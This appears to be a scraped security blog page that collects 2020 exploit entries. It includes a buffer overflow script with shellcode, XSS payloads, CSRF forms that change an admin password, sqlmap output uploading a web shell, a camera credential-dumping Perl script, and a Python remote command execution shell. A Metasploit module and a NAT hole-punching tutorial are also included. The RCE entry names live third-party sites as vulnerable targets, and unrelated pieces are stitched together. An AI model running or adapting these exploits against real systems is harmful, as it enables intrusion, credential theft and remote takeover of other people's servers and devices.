Exploit Title: DHCP Turbo 4.61298 - 'DHCP Turbo 4' Unquoted Service Path
Exploit Author: boku
Date: 2020-02-10
Vendor Homepage: https://www.weird-solutions.com
Software Link: https://www.weird-solutions.com/download/products/dhcptv4_retail_IA32.exe
Version: 4.6.1298
Tested On: Windows 10 (32-bit)
C:\Users\user>sc qc "DHCP Turbo 4"
SERVICE_NAME: DHCP Turbo 4
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\DHCP Turbo 4\dhcpt.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DHCP Turbo 4
DEPENDENCIES : Nsi
: Afd
: NetBT
: Tcpip
SERVICE_START_NAME : LocalSystem
C:\Users\user>wmic service get name, pathname, startmode | findstr "Turbo"
DisplayName PathName StartMode
DHCP Turbo 4 C:\Program Files\DHCP Turbo 4\dhcpt.exe Auto
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863170285
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: TFTP Turbo 4.6.1273 - 'TFTP Turbo 4' Unquoted Service Path
# Exploit Author: boku
# Date: 2020-02-10
# Vendor Homepage: https://www.weird-solutions.com
# Software Link: https://www.weird-solutions.com/download/products/tftptv4_retail_IA32.exe
# Version: 4.6.1273
# Tested On: Windows 10 (32-bit)
C:\Users\nightelf>wmic service get name, pathname, startmode | findstr "TFTP" | findstr /i /v """
TFTP Turbo 4 C:\Program Files\TFTP Turbo 4\tftpt.exe Auto
C:\Users\nightelf>sc qc "TFTP Turbo 4"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: TFTP Turbo 4
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\TFTP Turbo 4\tftpt.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : TFTP Turbo 4
DEPENDENCIES : Nsi
: Afd
: NetBT
: Tcpip
SERVICE_START_NAME : LocalSystem
# Exploit Title: Wordpress Plugin WOOF Products Filter for WooCommerce 1.2.3 - Persistent Cross-Site Scripting
# Date: 2020-02-15
# Exploit Author: Shahab.ra.9
# Vendor Homepage: https://products-filter.com/
# Software Link: https://wordpress.org/plugins/woocommerce-products-filter/
# Version: 1.2.3
# Tested on: windows 10
# WOOF - Products Filter for WooCommerce
Exploit:
http://target/wp-admin/admin.php?page=wc-settings&tab=woof
now in tab "design" -> then enter (xss code) in the (textfields) front side
->(Text for block toggle ,Text for block toggle , Custom front css styles
file link).
then click on button "save changes".
then refresh page ,now you see the execution of xss code ,then refersh
frontend page site -> "http://target/shop/ " or frontend pages used this
plugin the execution of xss code.
Demo Poc:
http://target/wp-admin/admin.php?page=wc-settings&tab=woof
now in tab "design" -> then enter ( ";</script><img src=1
onerror="alert(`xss store bug -> shahab.ra.9`);"><script>var1="1 ) in the
(textfields) front side ->(Text for block toggle ,Text for block toggle and
Custom front css styles file link).
then click on button "save changes".
# Exploit Title: Cuckoo Clock 5.0 - Buffer Overflow
# Exploit Author: boku
# Date: 2020-02-14
# Vendor Homepage: https://en.softonic.com/author/pxcompany
# Software Link: https://en.softonic.com/download/parallaxis-cuckoo-clock/windows/post-download
# Version: 5.0
# Tested On: Windows 10 (32-bit)
#
# Recreate:
# 1) Install & Open Cuckoo Clock v5.0
# 2) Right Click app icon (bottom right), click Alarms
# 3) Click the Add Button
# 4) Run Python script
# 5) Open generated poc.txt, then select-all & copy-all
# 6) Under Schedule, select-all in 'New Alarm' textbox, then paste buffer
# 7) Press Back Button and shellcode will execute
# EIP Overwrite at 260 Bytes
# Max Buffer space is 1287 bytes
# ESP points to payload at offset 264 bytes
# EBP overwrite at 256 bytes
# badChars = '\x00\x0d'
try:
ebpOffset = '\x41'*256
ebp = '\x42\x42\x42\x42'
eip = '\x16\x05\x03\x10' # 0x10030516 : jmp esp | ascii {PAGE_EXECUTE_READWRITE} [CERBERUS.dll]
# ASLR: False, Rebase: False, SafeSEH: False (C:\Program Files\Parallaxis Cuckoo Clock\CERBERUS.dll)
# ESP points to payload at offset 264 bytes
# 1019 bytes = Remaining Buffer Length
fixStack = '\x89\xE5' # mov ebp,esp
fixStack += '\x83\xEC\x30' # sub esp,byte +0x30
# root@kali# msfvenom -p windows/exec CMD=calc -b '\x00\x0d' -f python -v shellcode
# x86/shikata_ga_nai chosen with final size 216
shellcode = b""
shellcode += b"\xdd\xc3\xbb\x9a\x4d\x57\xfa\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x30\x83\xe8\xfc\x31\x58\x14"
shellcode += b"\x03\x58\x8e\xaf\xa2\x06\x46\xad\x4d\xf7\x96"
shellcode += b"\xd2\xc4\x12\xa7\xd2\xb3\x57\x97\xe2\xb0\x3a"
shellcode += b"\x1b\x88\x95\xae\xa8\xfc\x31\xc0\x19\x4a\x64"
shellcode += b"\xef\x9a\xe7\x54\x6e\x18\xfa\x88\x50\x21\x35"
shellcode += b"\xdd\x91\x66\x28\x2c\xc3\x3f\x26\x83\xf4\x34"
shellcode += b"\x72\x18\x7e\x06\x92\x18\x63\xde\x95\x09\x32"
shellcode += b"\x55\xcc\x89\xb4\xba\x64\x80\xae\xdf\x41\x5a"
shellcode += b"\x44\x2b\x3d\x5d\x8c\x62\xbe\xf2\xf1\x4b\x4d"
shellcode += b"\x0a\x35\x6b\xae\x79\x4f\x88\x53\x7a\x94\xf3"
shellcode += b"\x8f\x0f\x0f\x53\x5b\xb7\xeb\x62\x88\x2e\x7f"
shellcode += b"\x68\x65\x24\x27\x6c\x78\xe9\x53\x88\xf1\x0c"
shellcode += b"\xb4\x19\x41\x2b\x10\x42\x11\x52\x01\x2e\xf4"
shellcode += b"\x6b\x51\x91\xa9\xc9\x19\x3f\xbd\x63\x40\x55"
shellcode += b"\x40\xf1\xfe\x1b\x42\x09\x01\x0b\x2b\x38\x8a"
shellcode += b"\xc4\x2c\xc5\x59\xa1\xc3\x8f\xc0\x83\x4b\x56"
shellcode += b"\x91\x96\x11\x69\x4f\xd4\x2f\xea\x7a\xa4\xcb"
shellcode += b"\xf2\x0e\xa1\x90\xb4\xe3\xdb\x89\x50\x04\x48"
shellcode += b"\xa9\x70\x67\x0f\x39\x18\x68"
Remainder = '\x46'*(1287-len(ebpOffset+ebp+eip+fixStack+shellcode))
payload = ebpOffset+ebp+eip+fixStack+shellcode+Remainder
File = 'poc.txt'
f = open(File, 'w')
f.write(payload)
f.close()
print File + " created successfully"
except:
print File + ' failed to create'
# Exploit Title: SOPlanning 1.45 - Cross-Site Request Forgery (Add User)
# Date: 2020-02-14
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://www.soplanning.org/en/
# Software Link: https://sourceforge.net/projects/soplanning/files/soplanning/
# Version 1.45
# Tested on Windows 10/Kali Rolling
# The SoPlanning 1.45 application is vulnerable to CSRF that allows for arbitrary
# user creation and for changing passwords (Specifically the admin password)
# POC For aribtrary user creation:
# CSRF POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.22.6.208/soplanning/www/process/xajax_server.php" method="POST">
<input type="hidden" name="xajax" value="submitFormUser" />
<input type="hidden" name="xajaxr" value="1581700271752" />
<input type="hidden" name="xajaxargs[]" value="Testing" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="1" />
<input type="hidden" name="xajaxargs[]" value="Testing" />
<input type="hidden" name="xajaxargs[]" value="test@test.com" />
<input type="hidden" name="xajaxargs[]" value="Test" />
<input type="hidden" name="xajaxargs[]" value="test" />
<input type="hidden" name="xajaxargs[]" value="true" />
<input type="hidden" name="xajaxargs[]" value="#FFFFFF" />
<input type="hidden" name="xajaxargs[]" value="false" />
<input type="hidden" name="xajaxargs[]" value="false" />
<input type="hidden" name="xajaxargs[]" value="<xjxobj><e><k>0</k><v>users_manage_all</v></e><e><k>1</k><v>projects_manage_all</v></e><e><k>2</k><v>projectgroups_manage_all</v></e><e><k>3</k><v>tasks_modify_all</v></e><e><k>4</k><v>tasks_view_all_projects</v></e><e><k>5</k><v>tasks_view_all_users</v></e><e><k>6</k><v>lieux_all</v></e><e><k>7</k><v>ressources_all</v></e><e><k>8</k><v>audit_restore</v></e><e><k>9</k><v>parameters_all</v></e><e><k>10</k><v>stats_users</v></e><e><k>11</k><v>stats_projects</v></e></xjxobj>" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="" />
<input type="hidden" name="xajaxargs[]" value="true" />
<input type="hidden" name="xajaxargs[]" value="<xjxobj></xjxobj>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# POC for admin password change:
# CSRF POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://HOSTNAME/soplanning/www/process/xajax_server.php" method="POST">
<input type="hidden" name="xajax" value="submitFormProfil" />
<input type="hidden" name="xajaxr" value="1581702103306" />
<input type="hidden" name="xajaxargs[]" value="ADM" />
<input type="hidden" name="xajaxargs[]" value="test@test.com" />
<input type="hidden" name="xajaxargs[]" value="admin123" />
<input type="hidden" name="xajaxargs[]" value="fr" />
<input type="hidden" name="xajaxargs[]" value="false" />
<input type="hidden" name="xajaxargs[]" value="false" />
<input type="hidden" name="xajaxargs[]" value="true" />
<input type="hidden" name="xajaxargs[]" value="true" />
<input type="hidden" name="xajaxargs[]" value="true" />
<input type="hidden" name="xajaxargs[]" value="false" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# Exploit Title: SOPlanning 1.45 - 'users' SQL Injection
# Date: 2020-02-14
# Exploit Author: J3rryBl4nks, Homebrewer
# Vendor Homepage: https://www.soplanning.org/en/
# Software Link: https://sourceforge.net/projects/soplanning/files/soplanning/
# Version 1.45
# Tested on Windows 10/Kali Rolling
The SOPlanning application is vulnerable to SQL Injection that leads to Remote Code Execution.
Exploit POC:
Once you have extracted the admin hash, you can now use that to get command execution on the machine through another SQL Injection.
Save the admin hash and insert it into SQLMap as such:
sqlmap -u 'http://HOSTHERE/soplanning/www/export_ical.php?login=admin&hash=HASHHERE&nocache&users=ADM&age=3' -p users --risk=3 --level=5 --threads=10 --dbms=mysql --keep-alive --os-shell\
Now you have a web shell uploaded to the server:
11:52:31] [INFO] GET parameter 'users' is 'MySQL UNION query (NULL) - 41 to 60 columns' injectable
GET parameter 'users' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2122 HTTP(s) requests:
---
Parameter: users (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: login=admin&hash=0eb87cdffc77dce2baabfd6c4dddc264&nocache&users=ADM') AND (SELECT 6911 FROM (SELECT(SLEEP(5)))GfEH) AND ('gglk'='gglk&age=3
Type: UNION query
Title: MySQL UNION query (NULL) - 42 columns
Payload: login=admin&hash=0eb87cdffc77dce2baabfd6c4dddc264&nocache&users=ADM') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162767171,0x4e6564784469636f6a4f5867627a44744f517452677545755a455a694c4d676f436a776f66645547,0x716a707171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&age=3
---
[11:53:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.41, PHP 7.2.26
back-end DBMS: MySQL >= 5.0.12
[11:53:02] [INFO] going to use a web backdoor for command prompt
[11:53:02] [INFO] fingerprinting the back-end DBMS operating system
[11:53:02] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[11:53:07] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: C:\xampp\htdocs\soplanning\www
[11:53:23] [WARNING] unable to automatically parse any web server path
[11:53:23] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/soplanning/www/' via LIMIT 'LINES TERMINATED BY' method
[11:53:23] [WARNING] unable to upload the file stager on 'C:/xampp/htdocs/soplanning/www/'
[11:53:23] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/soplanning/www/' via UNION method
[11:53:23] [WARNING] expect junk characters inside the file as a leftover from UNION query
[11:53:23] [INFO] the remote file 'C:/xampp/htdocs/soplanning/www/tmpubhkt.php' is larger (768 B) than the local file '/tmp/sqlmapi5F_1P150931/tmpEOtI5R' (727B)
[11:53:23] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/soplanning/www/' - http://HOST/soplanning/www/tmpubhkt.php
Using that webshell you can upload your reverse shell.
Mad props to : https://twitter.com/HackingHomebre1 for the POC creation and assist.
# Exploit Title: LabVantage 8.3 - Information Disclosure
# Google Dork: N/A
# Date: 2020-02-16
# Exploit Author: Joel Aviad Ossi
# Vendor Homepage: labvantage.com
# Software Link: N/A
# Version: LabVantage 8.3
# Tested on: *
# CVE : N/A
import requests
import operator
def exploit(target):
print("[+] Fetching LabVantage Database Name..")
start = "name=\"database\" id=\"database\" value=\""
end = "\" >"
vstart = "<img src=\"WEB-OPAL/layouts/images/logo_white.png\" title=\""
vend = "viewportTest"
print("[+] Testing URL: " + target)
r = requests.get(target)
memory = r.text
print("[+] DB: " + memory[memory.find(start) + len(start):memory.rfind(end)])
print("[+] VERSION: " + memory[memory.find(vstart) + len(vstart):memory.rfind(vend)][:-71])
print("[+] Vulnerable!")
def vuln_check():
target = input("\nTARGET HOST URL (example: target.com:8080): ")
print('[+] Checking if Host is vulnerable.')
target = (str(target) + "/labservices/logon.jsp")
r = requests.get(target)
memory = r.text
s = "name=\"database\" id=\"database\" value=\""
if not operator.contains(memory, s):
print("[-] Not Vulnerable!")
exit(0)
else:
exploit(target)
def attack():
target = input("\nTARGET HOST URL (example: http://target.com:8080): ")
enum = input("\nDB NAME TO CHECK: ")
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
'Content-Type': 'application/x-www-form-urlencoded'}
payload = ({'nexturl': 'null', 'ignorelogonurl': 'N', 'ignoreexpirywarning': 'false',
'_viewport': 'null', 'username': 'null', 'password': 'null',
'database': ''+str(enum)+'', 'csrftoken': 'null'})
target = (str(target) + "/labservices/rc?command=login")
print("[+] Testing URL: " + target)
r = requests.post(target, headers=headers, data=payload)
memory = r.text
start = "Unrecognized"
if start in memory:
print('[+] DB NOT FOUND!')
else:
print('[!] NO FOUND!')
print("\n1. Vulnerability Check\n2. DB Name Enumeration\n")
option = input("CHOSE OPTION: ")
if option == "1":
vuln_check()
elif option == "2":
attack()
else:
print("Wrong option selected, try again!")
# Exploit Title: DBPower C300 HD Camera - Remote Configuration Disclosure
# Date: 2020-02-19
# Author: Todor Donev
# Vendor: https://donev.eu/
# CVE: N/A
# Copyright 2020 (c) Todor Donev
#
# https://donev.eu/
# https://donev.eu/blog/dbpower-c300-multiple-vulnerabilities
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# (Dont do anything without permissions)
#
#
# [ DBPower C300 HD Camera Remote Configuration Disclosure
# [ ==========================================================
# [ Exploit Author: Todor Donev 2020 <todor.donev@gmail.com>
# [ Initializing the browser
# [ >> User-Agent => Seamonkey-1.1.13-1(X11; U; GNU Fedora fc 10) Gecko/20081112
# [ >> Content-Type => application/x-www-form-urlencoded
# [ << Connection => close
# [ << Date =>
# [ << Accept-Ranges => bytes
# [ << Server => thttpd/2.25b 29dec2003
# [ << Content-Length => 25730
# [ << Content-Type => application/octet-stream
# [ << Last-Modified =>
# [ << Client-Date =>
# [ << Client-Peer => 192.168.1.103:8080
# [ << Client-Response-Num => 1
# [
# [ Username : admin
# [ Password : admin
#
#!/usr/bin/perl
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster 'gunzip';
my $host = shift || ''; # Full path url to the store
my $cmd = shift || ''; # show - Show configuration dump
$host =~ s/\/$//;
print "\033[2J"; #clear the screen
print "\033[0;0H"; #jump to 0,0
print "[ DBPower C300 HD Camera Remote Configuration Disclosure\n";
print "[ ==========================================================\n";
print "[ Exploit Author: Todor Donev 2020 <todor.donev\@gmail.com>\n";
if ($host !~ m/^http/){
print "[ Usage, Password Disclosure: perl $0 https://target:port/\n";
print "[ Usage, Show Configuration : perl $0 https://target:port/ show\n";
exit;
}
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(30);
$browser->agent($user_agent);
# my $target = $host."/tmpfs/config_backup.bin";
my $target = $host."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]);
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names;
print "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names;
print "[ Exploit failed! Not vulnerable.\n" and exit if ($response->code ne 200);
my $gzipped = $response->content();
my $config = gunzip($gzipped);
print "[ \n";
if ($cmd =~ /show/) {
print "[ >> Configuration dump...\n[\n";
print "[ ", $_, "\n" for split(/\n/,$config);
exit;
} else {
print "[ Username : ", $1, "\n" if ($config =~ /username=(.*)/);
print "[ Password : ", $1, "\n" if ($config =~ /password=(.*)/);
exit;
}
# Exploit title : Virtual Freer 1.58 - Remote Command Execution
# Exploit Author : SajjadBnd
# Date : 2020-02-17
# Vendor Homepage : http://freer.ir/virtual/
# Software Link : http://www.freer.ir/virtual/download.php?action=get
# Software Link(mirror) : http://dl.nuller.ir/virtual_freer_v1.58[NuLLeR.iR].zip
# Tested on : Ubuntu 19.10
# Version : 1.58
############################
# [ DESCRIPTION ]
#
# Free Script For Sell Charging Cards and Virtual Products
#
# [POC]
#
# Vulnerable file: /include/libs/nusoap.php
# 943: eval($_POST['a74ad8dfacd4f985eb3977517615ce25']);
#
# POST /include/libs/nusoap.php
# payload : a74ad8dfacd4f985eb3977517615ce25=system('uname -a');
#
# [ Sample Vulnerable Sites ]
#
# http://3cure.ir/buy/
# http://cheapcharger.ir/
# http://www.appraworld.ir/
# http://latoon.ir/
# http://novinv.ir/
#
import requests
import os
import sys
def clear():
linux = 'clear'
windows = 'cls'
os.system([linux, windows][os.name == 'nt'])
def Banner():
print '''
#################################################
# #
# Virtual Freer 1.58 - Remote Command Execution #
# SajjadBnd #
# BiskooitPedar #
# blackwolf@post.com #
#################################################
'''
def inputs():
target = raw_input('[*] URL : ')
while True:
try:
r = requests.get(target,verify=False)
start(target)
except requests.exceptions.MissingSchema:
target = "http://" + target
def start(target):
print "======================\n\n[!] Checking: ****()"
url = '%s/include/libs/nusoap.php' % (target)
body = {'a74ad8dfacd4f985eb3977517615ce25':'echo vulnerable;'}
r = requests.post(url,data=body,allow_redirects=False,timeout=50)
content = r.text.encode('utf-8')
if 'vulnerable' in content:
print "[+] vulnerable: ****()\n"
else:
print "[-] Target not Vulnerable!"
sys.exit(1)
print "\n[!] Checking: System()"
body = {'a74ad8dfacd4f985eb3977517615ce25':'system(id);'}
r = requests.post(url,data=body,allow_redirects=False,timeout=50)
content = r.text.decode('utf-8')
if 'gid' in content:
print "[+] vulnerable: system()\n"
osshell(url)
else:
print "[-] Target not Vulnerable to Running OS Commands!"
evalshell(url)
def osshell(url):
print "======================\n[+] You can run os commands :D\n"
while True:
try:
cmd = raw_input('OS_SHELL $ ')
command = "system('%s');" % (cmd)
body = {'a74ad8dfacd4f985eb3977517615ce25':command}
r = requests.post(url,data=body,allow_redirects=False,timeout=50)
content = r.text.encode('utf-8')
print "\n",content
except KeyboardInterrupt:
print "\n____________________\n[+] GoodBye :D"
sys.exit(1)
def evalshell(url):
print "======================\n[+] You can just run Eval Commands :D\n"
while True:
try:
cmd = raw_input('\nEval()=> ')
command = '%s;' % (cmd)
body = {'a74ad8dfacd4f985eb3977517615ce25':command}
r = requests.post(url,data=body,allow_redirects=False,timeout=50)
content = r.text.encode('utf-8')
print "\n",content
except KeyboardInterrupt:
print "\n____________________\n[+] ok! GoodBye :D"
sys.exit(1)
if __name__ == '__main__':
clear()
Banner()
inputs()
# Exploit Title: WordPress Plugin WP Sitemap Page 1.6.2 - Persistent Cross-Site Scripting
# Dork:N/A
# Date: 2020-02-17
# Exploit Author: UltraSecurityTeam
# Team Member = Ashkan Moghaddas , AmirMohammad Safari , Behzad khalife , Milad Ranjbar
# Vendor Homepage: UltraSec.Org
# Software Link: https://downloads.wordpress.org/plugin/wp-sitemap-page.zip
# Tested on: Windows/Linux
# Version: 1.6.2
.:: Plugin Description ::.
An easy way to add a sitemap on one of your pages becomes reality thanks to this WordPress plugin. Just use the shortcode [wp_sitemap_page] on any of your pages. This will automatically generate a sitemap of all your pages and posts
.:: Proof Of Concept (PoC) ::.
Step 1 - Open WordPress Setting
Step 2 - Open Wp Sitemap Page
Step 3 - Inject Your Java Script Codes to Exclude pages
Step 4 - Click Button Save Changes
Step 5 - Run Your Payload
.:: Tested Payload ::.
'>"><script>alert(/XSS By UltraSecurity/)</script>
.:: Post Request ::.
option_page=wp-sitemap-page&action=update&_wpnonce=de5e7c2417&_wp_http_referer=%2Fwp%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp_sitemap_page%26settings-updated%3Dtrue&wsp_posts_by_category=&wsp_exclude_pages=%27%3E%22%3E%3Cscript%3Ealert%28%2FXSS+By+UltraSecurity%2F%29%3C%2Fscript%3E&wsp_exclude_cpt_archive=1&wsp_exclude_cpt_author=1&submit=Save+Changes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
PACKET_LEN = 10
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Anviz CrossChex Buffer Overflow',
'Description' => %q{
Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
triggering a stack buffer overflow.
},
'Author' =>
[
'Luis Catarino <lcatarino@protonmail.com>', # original discovery/exploit
'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>', # original discovery/exploit
'agalway-r7', # Module creation
'adfoster-r7' # Module creation
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-12518'],
['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
['EDB', '47734']
],
'Payload' =>
{
'Space' => 8947,
'DisableNops' => true
},
'Arch' => ARCH_X86,
'EncoderType' => Msf::Encoder::Type::Raw,
'Privileged' => true,
'Platform' => 'win',
'DisclosureDate' => '2019-11-28',
'Targets' =>
[
[
'Crosschex Standard x86 <= V4.3.12',
{
'Offset' => 261, # Overwrites memory to allow EIP to be overwritten
'Ret' => "\x07\x18\x42\x00", # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
'Shift' => 4 # Positions payload to be written at beginning of ESP
}
]
],
'DefaultTarget' => 0
))
deregister_udp_options
register_options(
[
Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
Opt::CHOST("0.0.0.0", true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
])
end
def exploit
connect_udp
res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore["TIMEOUT"].to_i > 0 ? (datastore["TIMEOUT"].to_i) : (nil))
if res.empty?
fail_with(Failure::TimeoutExpired, "Module timed out waiting for CrossChex broadcast")
end
print_status "CrossChex broadcast received, sending payload in response"
sploit = rand_text_english(target['Offset'])
sploit << target.ret # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP
sploit << payload.encoded
udp_sock.sendto(sploit, host, port)
print_status "Payload sent"
end
end
In the previous article, we talked about using ipv6 to access the local network without a public IP. However, the IPv6 enablement requires the modification of the configuration of the Lightmao. Without the Lightmao Super Administrator password, I just have the will but lack the ability.
What is hole digging?
Under the NAT1 network, we can expose the local TCP port to the public network through a "hole-punching" method, run HTTP services, etc. Forwarding rules through Natter holes + firewall. We can easily expose intranet devices to the public network.
Experimental Environment
Router (soft router) Centos7 (intranet host)
Examination Network
First use, check the current network NAT situation. We first clone the project to the local environment.
git clone https://github.com/MikeWang000000/Natter.git
cd Natter
# Verify network
python natter.py --check-nat
As shown in the picture above, there is no error. Prove that you can have fun.
The reason for the high probability of failure: Your home network is NAT, not NAT1. (Most operator networks are NAT1 at present)
The slight test
Experimental purpose: access my local server (192.168.123.173:5244) alist cloud disk through the external network.
First we use Natter script to dig holes
python3 natter.py -t 5244 -t i.e. tcp protocol.
After the previous step is completed, we are still unable to access it. Because there is no IP and port of the intranet device specified. Therefore, we need to do port forwarding in the router.
Port Forwarding
Log in to the router and set the parameters in port forwarding as follows
As mentioned above, when we access http://118.xxxx.xxxx.183:65317/, we can access our local port 5244.
Dig holes on multiple devices
In the above method, we only opened port 5244. What if there are multiple ports and multiple devices? Or what should I do if the router does not have a port forwarding function?
We need to create a new json file. The content is as follows
//Note: The JSON configuration file does not support code comments, and here is an explanation of the configuration purpose.
{
'logging': {
'level': 'info', //Log level: optional values: 'debug', 'info', 'warning', 'error'
'log_file': './natter.log' //Export the log to the specified file, please leave it blank if you don't need it: ''
},
'status_report': {
//When the external IP/port changes, the following command will be executed.
//Braces {.} are placeholders, and the command will be replaced by the actual value when executing.
//Please leave blank if you don't need it: ''
'hook': 'bash ./natter-hook.sh '{protocol}' '{inner_ip}' '{inner_port}' '{outer_ip}' '{outer_port}' '{outer_port}',
'status_file': './natter-status.json' //Store the real-time port mapping status to the specified file, please leave it blank if you don't need it: ''
},
'open_port': {
//Set up Natter hole-punching IP: port here. (Only holes)
//The address here is the address bound (listening) of Natter. Natter only drills holes for these addresses. You need to manually set port forwarding.
//Note: Use default export IP, please use 0.0.0.0 instead of 127.0.0.1 .
'tcp': [
'0.0.0.0:3456',
'0.0.0.0:3457'
],
'udp': [
'0.0.0.0:3456',
'0.0.0.0:3457'
]
},
'forward_port': {
//Here, you need to set up the IP: port that Natter opens to the public network. (Dig hole + built-in forwarding)
//Natter will automatically drill holes and forward them, and you don’t need to intervene.
//Note: Use native IP, use 127.0.0.1 instead of 0.0.0.0.0.
'tcp': [
'127.0.0.1:80',
'192.168.1.100:443'
],
'udp': [
'127.0.0.1:53',
'192.168.1.100:51820'
]
},
'stun_server': {
//Set up a public STUN server here.
//Please make sure that the TCP/3478 port is open and available for the TCP server;
//Please make sure that the UDP/3478 port is open and available for UDP server.
'tcp': [
'stun.stunprotocol.org',
'stun.voip.blackberry.com'
],
'udp': [
'stun.miwifi.com',
'stun.qq.com'
]
},
'keep_alive': 'www.qq.com' //Set up the HTTP Keep-Alive server here. Please make sure that the server is open on port 80 and supports HTTP Keep-Alive.
} Run python3 natter.py -c ./config.json
Summary
Using this tool, we can easily access the intranet devices on the external network. However, when the operator's IP changes, the IP cannot be updated automatically. Therefore, you can refer to the previous article to automatically update the domain name. In addition, there is no need to try not to expose intranet devices to the public network!
# Exploit Title: Nanometrics Centaur 4.3.23 - Unauthenticated Remote Memory Leak
# Date: 2020-02-15
# Author: byteGoblin
# Vendor: https://www.nanometrics.ca
# Product: https://www.nanometrics.ca/products/accelerometers/titan-sma
# Product: https://www.nanometrics.ca/products/digitizers/centaur-digital-recorder
# CVE: N/A
#
# Nanometrics Centaur / TitanSMA Unauthenticated Remote Memory Leak Exploit
#
#
# Vendor: Nanometrics Inc.
# Product page: https://www.nanometrics.ca/products/accelerometers/titan-sma
# Product page: https://www.nanometrics.ca/products/digitizers/centaur-digital-recorder
#
# Affected versions:
# Centaur <= 4.3.23
# TitanSMA <= 4.2.20
#
# Summary:
# The Centaur Digital Recorder is a portable geophysical sensing acquisition system that consists
# of a high-resolution 24-bit ADC, a precision GNSS-based clock, and removable storage capabilities.
# Its ease of use simplifies high performance geophysical sensing deplayments in both remote and
# networked environments. Optimized for seismicity monitoring, the Centaur is also well-suited for
# infrasound and similar geophysical sensor recording applications requiring sample rates up to
# 5000 sps.
#
# Summary:
# The TitanSMA is a strong motion accelerograph designed for high precision observational and
# structural engineering applications, where scientists and engineers require exceptional dynamic
# range over a wide frequency band.
#
# Description:
